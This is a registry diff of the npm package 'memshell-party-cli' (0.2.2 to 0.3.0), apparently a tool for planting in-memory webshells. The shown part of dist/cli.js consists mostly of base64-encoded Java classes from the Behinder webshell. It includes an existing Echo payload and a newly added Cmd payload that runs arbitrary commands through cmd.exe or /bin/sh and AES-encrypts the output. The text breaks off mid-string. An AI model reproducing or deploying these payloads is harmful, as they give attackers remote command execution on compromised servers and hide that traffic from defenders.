memshell-party-cli 0.2.2 → 0.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +69 -1
- package/README.zh-CN.md +69 -1
- package/dist/cli.js +1186 -38
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +160 -1
- package/dist/index.js +720 -9
- package/dist/index.js.map +1 -1
- package/package.json +1 -1
- package/skills/SKILL.md +59 -2
package/dist/cli.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
2
|
|
|
3
3
|
// src/cli.ts
|
|
4
|
-
import { Command as
|
|
4
|
+
import { Command as Command7 } from "commander";
|
|
5
5
|
|
|
6
6
|
// src/api/client.ts
|
|
7
7
|
var ApiError = class extends Error {
|
|
@@ -217,8 +217,10 @@ import { Option } from "commander";
|
|
|
217
217
|
|
|
218
218
|
// src/connect/assets.ts
|
|
219
219
|
var ECHO_CLASS_B64 = "yv66vgAAADQBRwoADwCtBwCuCgACAK0KAGEArwgAsAgAsQsASwCyCACzCQBhALQJAGEAtQoADwC2CAC3BwC4CgANALkHALoKALsAvAgAcwcAgAoAYQC9CAC+CgAeAL8KAGEAwAgAwQgAwgcAwwoAGQDECgAZAMUJAGEAxggAxwcAyAgAyQoADwDKCADLBwDMCADNCgAiAM4IAM8KACcA0AcA0QoAJwDSCgAnANMHANQKACoArQoAKgDVCgAqANYKAGEA1woAHgDYBwDZCgAwAK0IANoKANsA3AgA3QoAMADeCwBLAN8LAOAA4QsAlADiCwCUAOMIAOQIAOUKADAAygsASwDmCADnCADoCgAeAOkKADAA6goAMADrCADsCgANAO0IAO4KAB4A7wgA8AkAYQDxCADyCADzBwD0CAD1CAD2CAD3CAD4CAD5CAD6CgANAPsIAPwIAP0HAP4IAP8KAA0BAAgAjwgBAQoAHgECCAEDCgAeAQQKAQUBBgcBBwoAXgCtCgBeAQgHAQkBAAdjb250ZW50AQASTGphdmEvbGFuZy9TdHJpbmc7AQALcGF5bG9hZEJvZHkBAAdSZXF1ZXN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAIUmVzcG9uc2UBAAdTZXNzaW9uAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMbmV0L3JlYmV5b25kL2JlaGluZGVyL3BheWxvYWQvamF2YS9FY2hvOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAAnNvAQAFd3JpdGUBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANvYmoBAAZyZXN1bHQBAA9MamF2YS91dGlsL01hcDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQA1TGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7PjsBAA1TdGFja01hcFRhYmxlAQAHRW5jcnlwdAEABihbQilbQgEAAmJzAQACW0IBAANrZXkBAANyYXcBAAhza2V5U3BlYwEAIUxqYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjOwEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEACWVuY3J5cHRlZAEAA2JvcwEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAApFeGNlcHRpb25zAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwvTWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAHdmVyc2lvbgcBCgEACVNpZ25hdHVyZQEASihMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzs+O1opTGphdmEvbGFuZy9TdHJpbmc7AQALZmlsbENvbnRleHQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBAAZvYmpNYXABADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEADGJhc2U2NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVlcnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAhnZXRNYWdpYwEABCgpW0IBAAFpAQABSQEACG1hZ2ljTnVtAQAGcmFuZG9tAQASTGphdmEvdXRpbC9SYW5kb207AQADYnVmAQAKU291cmNlRmlsZQEACUVjaG8uamF2YQwAaQBqAQAXamF2YS91dGlsL0xpbmtlZEhhc2hNYXAMAJcAmAEABnN0YXR1cwEAB3N1Y2Nlc3MMAQsBDAEAA21zZwwAYgBjDABnAGYMAQ0BDgEAD2dldE91dHB1dFN0cmVhbQEAD2phdmEvbGFuZy9DbGFzcwwBDwEQAQAQamF2YS9sYW5nL09iamVjdAcBEQwBEgETDACLAIwBAAVVVEYtOAwBFAEVDAB9AH4BAAVmbHVzaAEABWNsb3NlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBFgBqDAEXARgMAGgAZgEADGdldEF0dHJpYnV0ZQEAEGphdmEvbGFuZy9TdHJpbmcBAAF1DAEZARgBAAV1dGYtOAEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBAANBRVMMAGkBGgEAFEFFUy9FQ0IvUEtDUzVQYWRkaW5nDAEbARwBABNqYXZheC9jcnlwdG8vQ2lwaGVyDAEdAR4MAR8AfgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDABzASAMASEApAwAmwCcDAEUAKQBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEADGphdmEudmVyc2lvbgcBIgwBIwEkAQABewwBJQEmDAEnASgHASkMASoBKwwBLAEtDAEuAS8BAAEiAQADIjoiDAEwATEBAAIiLAEAASwMATIBMwwBNAE1DAE2ATcBAAF9DAE4ARgBAAtQYWdlQ29udGV4dAwBOQE6AQAKZ2V0UmVxdWVzdAwAZQBmAQALZ2V0UmVzcG9uc2UBAApnZXRTZXNzaW9uAQANamF2YS91dGlsL01hcAEAB3Nlc3Npb24BAAhyZXNwb25zZQEAB3JlcXVlc3QBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEAAAEAEGphdmEudXRpbC5CYXNlNjQMATsBPAEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9UaHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAE9AS8BAAEKDAE+AT8BAAENDAFAAUEHAUIMAUMBRAEAEGphdmEvdXRpbC9SYW5kb20MAUUBRgEAJ25ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvRWNobwEAEmphdmEvdXRpbC9JdGVyYXRvcgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldEJ5dGVzAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAD3ByaW50U3RhY2tUcmFjZQEACmdldE1lc3NhZ2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACHRvU3RyaW5nAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABShbQilWAQALdG9CeXRlQXJyYXkBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7AQANamF2YS91dGlsL1NldAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGVuZHNXaXRoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAGbGVuZ3RoAQADKClJAQAJc2V0TGVuZ3RoAQAEKEkpVgEAB2dldE5hbWUBAAdpbmRleE9mAQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpSQEAB25leHRJbnQBAAQoSSlJACEAYQAPAAAABQAJAGIAYwAAAAkAZABjAAAAAgBlAGYAAAACAGcAZgAAAAIAaABmAAAABwABAGkAagABAGsAAAAvAAEAAQAAAAUqtwABsQAAAAIAbAAAAAYAAQAAAA4AbQAAAAwAAQAAAAUAbgBvAAAAAQBwAHEAAQBrAAADkwAJAAgAAAHWuwACWbcAA00qK7cABCwSBRIGuQAHAwBXLBIIsgAJuQAHAwBXKrQACrYACxIMA70ADbYADiq0AAoDvQAPtgAQTi22AAsSEQS9AA1ZAxISU7YADjoEGQQtBL0AD1kDKiosBLcAExIUtgAVtwAWU7YAEFcttgALEhcDvQANtgAOLQO9AA+2ABBXLbYACxIYA70ADbYADi0DvQAPtgAQV6cBN04ttgAapwEvTiwSCC22ABu5AAcDAFcsEgUSBrkABwMAVyq0AAq2AAsSDAO9AA22AA4qtAAKA70AD7YAEE4ttgALEhEEvQANWQMSElO2AA46BBkELQS9AA9ZAyoqLAS3ABMSFLYAFbcAFlO2ABBXLbYACxIXA70ADbYADi0DvQAPtgAQVy22AAsSGAO9AA22AA4tA70AD7YAEFenAJpOLbYAGqcAkjoFKrQACrYACxIMA70ADbYADiq0AAoDvQAPtgAQOgYZBrYACxIRBL0ADVkDEhJTtgAOOgcZBxkGBL0AD1kDKiosBLcAExIUtgAVtwAWU7YAEFcZBrYACxIXA70ADbYADhkGA70AD7YAEFcZBrYACxIYA70ADbYADhkGA70AD7YAEFenAAo6BhkGtgAaGQW/BKwABwAkAJ0AoAAZAAgAJACoABkAwQE6AT0AGQAIACQBRQAAAKgAwQFFAAABRwHHAcoAGQFFAUcBRQAAAAQAbAAAAJIAJAAAABgACAAaAA0AGwAYABwAJAAyAEAAMwBUADQAcQA3AIcAOACdAD8AoAA7AKEAPgClAEAAqAAdAKkAHwC2ACAAwQAyAN0AMwDxADQBDgA3ASQAOAE6AD8BPQA7AT4APgFCAEABRQAmAUcAMgFkADMBeQA0AZcANwGvADgBxwA/AcoAOwHMAD4B0QBAAdQAQQBtAAAAhAANAEAAXQByAGYAAwBUAEkAcwB0AAQAoQAEAHUAdgADAKkAGAB1AHYAAwDdAF0AcgBmAAMA8QBJAHMAdAAEAT4ABAB1AHYAAwFkAGMAcgBmAAYBeQBOAHMAdAAHAcwABQB1AHYABgAAAdYAbgBvAAAAAAHWAHcAZgABAAgBzgB4AHkAAgB6AAAADAABAAgBzgB4AHsAAgB8AAAAPwAH/wCgAAMHAGEHAA8HAEsAAQcAGUcHABn3AJQHABlHBwBV/wCEAAYHAGEHAA8HAEsAAAcAVQABBwAZBvgAAgACAH0AfgACAGsAAAEAAAYACAAAAHAqtAActgALEh0EvQANWQMSHlO2AA4qtAAcBL0AD1kDEh9TtgAQtgAgTSwSIbYAFU67ACJZLRIjtwAkOgQSJbgAJjoFGQUEGQS2ACgZBSu2ACk6BrsAKlm3ACs6BxkHGQa2ACwqGQe2AC23AC62AC+wAAAAAgBsAAAAJgAJAAAARwApAEgAMABJADwASgBDAEsASwBMAFMATQBcAE4AYwBQAG0AAABSAAgAAABwAG4AbwAAAAAAcAB/AIAAAQApAEcAgQBjAAIAMABAAIIAgAADADwANACDAIQABABDAC0AhQCGAAUAUwAdAIcAgAAGAFwAFACIAIkABwCKAAAABAABABkAAgCLAIwAAwBrAAABdwADAAgAAACmuwAwWbcAMU4SMrgAMzoELRI0tgA1Vyu5ADYBALkANwEAOgUZBbkAOAEAmQBaGQW5ADkBAMAAHjoGLbsAMFm3ADESOrYANRkGtgA1Eju2ADW2ADy2ADVXKxkGuQA9AgDAAB46BxyZAA4qGQe2AC+3AC46By0ZB7YANVctEj62ADVXp/+iLbYAPBI/tgBAmQANLS22AEEEZLYAQi0SQ7YANVcttgA8sAAAAAQAbAAAAD4ADwAAAFUACABWAA8AVwAWAFgAOQBaAFcAWwBkAFwAaABeAHMAYgB6AGMAgQBkAIQAZQCQAGYAmgBnAKEAaABtAAAASAAHAGQAHQCNAGMABwA5AEgAgQBjAAYAAACmAG4AbwAAAAAApgCOAHkAAQAAAKYAjwCQAAIACACeAJEAkgADAA8AlwCTAGMABAB6AAAADAABAAAApgCOAHsAAQB8AAAAGwAE/gAjBwAwBwAeBwCU/QBPBwAeBwAe+AAQFQCKAAAABAABABkAlQAAAAIAlgACAJcAmAACAGsAAAEtAAYAAwAAAK0rtgALtgBEEkW2AEabAFEqK7YACxJHA70ADbYADisDvQAPtgAQtQBIKiu2AAsSSQO9AA22AA4rA70AD7YAELUACiortgALEkoDvQANtgAOKwO9AA+2ABC1ABynACwrwABLTSosEky5AD0CALUAHCosEk25AD0CALUACiosEk65AD0CALUASCq0AAq2AAsSTwS9AA1ZAxIeU7YADiq0AAoEvQAPWQMSFFO2ABBXsQAAAAQAbAAAACoACgAAAGsADwBtACgAbgBBAG8AXQBzAGIAdABuAHUAegB2AIYAeACsAHkAbQAAACAAAwBiACQAmQB5AAIAAACtAG4AbwAAAAAArQB3AGYAAQB6AAAADAABAGIAJACZAJoAAgB8AAAABgAC+wBdKACKAAAABAABABkAAgCbAJwAAgBrAAABdgAGAAcAAACTElBNEjK4ADM6BCq2AAtXElG4AFJOLRJTAbYADi0BtgAQOgUZBbYACxJUBL0ADVkDEhJTtgAOGQUEvQAPWQMrU7YAEMAAHk2nAEo6BSq2AAtXEla4AFJOLbYAVzoGGQa2AAsSWAS9AA1ZAxISU7YADhkGBL0AD1kDK1O2ABDAAB5NLBJZElC2AFoSWxJQtgBaTSywAAEACgBHAEoAVQADAGwAAAAyAAwAAAB8AAMAfgAKAIEAFQCCACMAgwBHAIsASgCFAEwAhwBXAIgAXQCJAIEAigCRAIwAbQAAAFwACQAjACQAnQBmAAUAFQA1AJ4AnwADAF0ANACdAGYABgBMAEUAoAChAAUAAACTAG4AbwAAAAAAkwCiAIAAAQADAJAAeABjAAIAVwA8AJ4AnwADAAoAiQCTAGMABAB8AAAALwAC/wBKAAUHAGEHABIHAB4ABwAeAAEHAFX/AEYABQcAYQcAEgcAHgcADQcAHgAAAIoAAAAEAAEAGQACAKMApAACAGsAAAD+AAYABgAAAGYqtAActgALEh0EvQANWQMSHlO2AA4qtAAcBL0AD1kDEh9TtgAQtgAgTCsDBbYAXBAQuABdEBBwPbsAXlm3AF9OHLwIOgQDNgUVBRkEvqIAFhkEFQUtEQEAtgBgkVSEBQGn/+gZBLAAAAADAGwAAAAiAAgAAACPACkAkAA4AJEAQACSAEUAkwBQAJUAXQCTAGMAlwBtAAAAPgAGAEgAGwClAKYABQAAAGYAbgBvAAAAKQA9AIEAYwABADgALgCnAKYAAgBAACYAqACpAAMARQAhAKoAgAAEAHwAAAAaAAL/AEgABgcAYQcAHgEHAF4HABIBAAD6ABoAigAAAAQAAQAZAAEAqwAAAAIArA==";
|
|
220
|
+
var CMD_CLASS_B64 = "yv66vgAAADQBkQoAEADTBwDUCgACANMKAHkA1QgA1gkAeQDXCgB5ANgLAG4A2QgAfgkAeQDaCQB5ANsKABAA3AgA3QcA3goADgDfBwDgCgDhAOIIAI0HAKYKAHkA4wgA5AoAJwDlCgB5AOYIAOcIAOgHAOkKABoA6ggA6wgA7AoA7QDuCgCgAO8IAPAKACcA8QgA8goAJwDzCAD0CgAnAPUKAPYA9wcA+AgA+QgA+goA9gD7CAD8CAD9BwD+BwD/CgChAQAKAC4BAQoALQECCgAtAQMHAQQKADMA0woAMwEFCAEGCgAzAQcKAKEBCAkAeQEJCAEKCAELCgAQAQcIAQwHAQ0IAQ4KAD4BDwgBEAoAQwERBwESCgBDARMKAEMBFAcBFQoARgDTCgBGARYKAEYBFwoAeQEYCgAnARkIARoIARsKAA4BHAgBHQgBHgcBHwgBIAoADgEhCAC9CgAnASIIASMIASQLAG4BJQsBJgEnCwDBASgLAMEBKQgBKggBKwsAbgEsCgAnAQcIAS0KACcBLggBLwgBMAoAJwExCgAzAPEKADMBMggBMwoADgE0CAE1CAE2CQB5ATcIATgIATkHAToIATsIATwIAT0IAT4KACcBPwoBQAFBBwFCCgB1ANMKAHUBQwgBRAcBRQEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhdGgBAAh3aGF0ZXZlcgEABnN0YXR1cwEAB1JlcXVlc3QBABJMamF2YS9sYW5nL09iamVjdDsBAAhSZXNwb25zZQEAB1Nlc3Npb24BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAKExuZXQvcmViZXlvbmQvYmVoaW5kZXIvcGF5bG9hZC9qYXZhL0NtZDsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAJzbwEABXdyaXRlAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQAGcmVzdWx0AQAPTGphdmEvdXRpbC9NYXA7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47AQANU3RhY2tNYXBUYWJsZQEABlJ1bkNNRAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGRpc3IBAAlvc0NoYXJzZXQBABpMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwcBRgcBRwEACkV4Y2VwdGlvbnMBAAdFbmNyeXB0AQAGKFtCKVtCAQACYnMBAAJbQgEAA2tleQEAA3JhdwEACHNrZXlTcGVjAQAhTGphdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWM7AQAGY2lwaGVyAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAJZW5jcnlwdGVkAQADYm9zAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEADGJhc2U2NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVlcnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAd2ZXJzaW9uAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwvTWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7BwFIAQAJU2lnbmF0dXJlAQBKKExqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47WilMamF2YS9sYW5nL1N0cmluZzsBAAtmaWxsQ29udGV4dAEAFShMamF2YS9sYW5nL09iamVjdDspVgEABm9iak1hcAEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0Oz47AQAIZ2V0TWFnaWMBAAQoKVtCAQABaQEAAUkBAAhtYWdpY051bQEABnJhbmRvbQEAEkxqYXZhL3V0aWwvUmFuZG9tOwEAA2J1ZgEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACENtZC5qYXZhDACDAIQBABFqYXZhL3V0aWwvSGFzaE1hcAwAxADFAQADbXNnDAB6AHsMAJcAmAwBSQFKDAB+AHsMAIEAgAwBSwFMAQAPZ2V0T3V0cHV0U3RyZWFtAQAPamF2YS9sYW5nL0NsYXNzDAFNAU4BABBqYXZhL2xhbmcvT2JqZWN0BwFPDAFQAVEMALkAugEABVVURi04DAFSAVMMAKMApAEABWZsdXNoAQAFY2xvc2UBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFUAVUBAARmYWlsAQAQc3VuLmpudS5lbmNvZGluZwcBVgwBVwCYDAFYAVkBAAAMAVoBWwEAB29zLm5hbWUMAVwBVQEAB3dpbmRvd3MMAV0BXgcBXwwBYAFhAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwBYgFjAQAHL2Jpbi9zaAEAAi1jAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIMAWQBZQwAgwFmDACDAWcMAWgBVQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAFpAWoBAAEKDAFrAVUMAWwBZQwAggCAAQAMZ2V0QXR0cmlidXRlAQABdQEABXV0Zi04AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAA0FFUwwAgwFtAQAUQUVTL0VDQi9QS0NTNVBhZGRpbmcMAW4BbwEAE2phdmF4L2NyeXB0by9DaXBoZXIMAXABcQwBcgCkAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAI0BcwwBdADJDACwALEMAVIAyQEADGphdmEudmVyc2lvbgEAEGphdmEudXRpbC5CYXNlNjQMAVgBdQEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9UaHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAF2AXcMAXgBeQEAAQ0BAAF7DAF6AXsHAXwMAX0BfgwBfwGADAGBAXcBAAEiAQADIjoiDAGCAYMBAAMxLjkMAYQBXgEAAiIsAQABLAwBhQGGDAGHAYgBAAF9DAGJAVUBAAtQYWdlQ29udGV4dAEACmdldFJlcXVlc3QMAH8AgAEAC2dldFJlc3BvbnNlAQAKZ2V0U2Vzc2lvbgEADWphdmEvdXRpbC9NYXABAAdzZXNzaW9uAQAIcmVzcG9uc2UBAAdyZXF1ZXN0AQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcMAYoBiwcBjAwBjQGOAQAQamF2YS91dGlsL1JhbmRvbQwBjwGQAQAHc3VjY2VzcwEAJm5ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvQ21kAQAYamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0AQARamF2YS9sYW5nL1Byb2Nlc3MBABJqYXZhL3V0aWwvSXRlcmF0b3IBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRCeXRlcwEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAdmb3JOYW1lAQAuKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwEABmxlbmd0aAEAAygpSQEAC3RvTG93ZXJDYXNlAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAMihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAA5nZXRFcnJvclN0cmVhbQEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAUoW0IpVgEAC3RvQnl0ZUFycmF5AQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwEADWphdmEvdXRpbC9TZXQBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAJY29tcGFyZVRvAQAIZW5kc1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBAAlzZXRMZW5ndGgBAAQoSSlWAQAHZ2V0TmFtZQEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpSQEAB25leHRJbnQBAAQoSSlJACEAeQAQAAAABwAJAHoAewAAAAkAfAB7AAAACQB9AHsAAAAKAH4AewAAAAIAfwCAAAAAAgCBAIAAAAACAIIAgAAAAAkAAQCDAIQAAQCFAAAALwABAAEAAAAFKrcAAbEAAAACAIYAAAAGAAEAAAAOAIcAAAAMAAEAAAAFAIgAiQAAAAEAigCLAAEAhQAAA2EACQAIAAABzrsAAlm3AANNKiu3AAQsEgUqsgAGtwAHuQAIAwBXLBIJsgAKuQAIAwBXKrQAC7YADBINA70ADrYADyq0AAsDvQAQtgARTi22AAwSEgS9AA5ZAxITU7YADzoEGQQtBL0AEFkDKiosBLcAFBIVtgAWtwAXU7YAEVcttgAMEhgDvQAOtgAPLQO9ABC2ABFXLbYADBIZA70ADrYADy0DvQAQtgARV6cBKk6nASZOLBIFLbYAG7kACAMAVywSCRIcuQAIAwBXKrQAC7YADBINA70ADrYADyq0AAsDvQAQtgARTi22AAwSEgS9AA5ZAxITU7YADzoEGQQtBL0AEFkDKiosBLcAFBIVtgAWtwAXU7YAEVcttgAMEhgDvQAOtgAPLQO9ABC2ABFXLbYADBIZA70ADrYADy0DvQAQtgARV6cAkU6nAI06BSq0AAu2AAwSDQO9AA62AA8qtAALA70AELYAEToGGQa2AAwSEgS9AA5ZAxITU7YADzoHGQcZBgS9ABBZAyoqLAS3ABQSFbYAFrcAF1O2ABFXGQa2AAwSGAO9AA62AA8ZBgO9ABC2ABFXGQa2AAwSGQO9AA62AA8ZBgO9ABC2ABFXpwAFOgYZBb8ErAAHACkAogClABoACAApAKkAGgDCATsBPgAaAAgAKQFCAAAAqQDCAUIAAAFEAcQBxwAaAUIBRAFCAAAABACGAAAAhgAhAAAAHQAIAB8ADQAgAB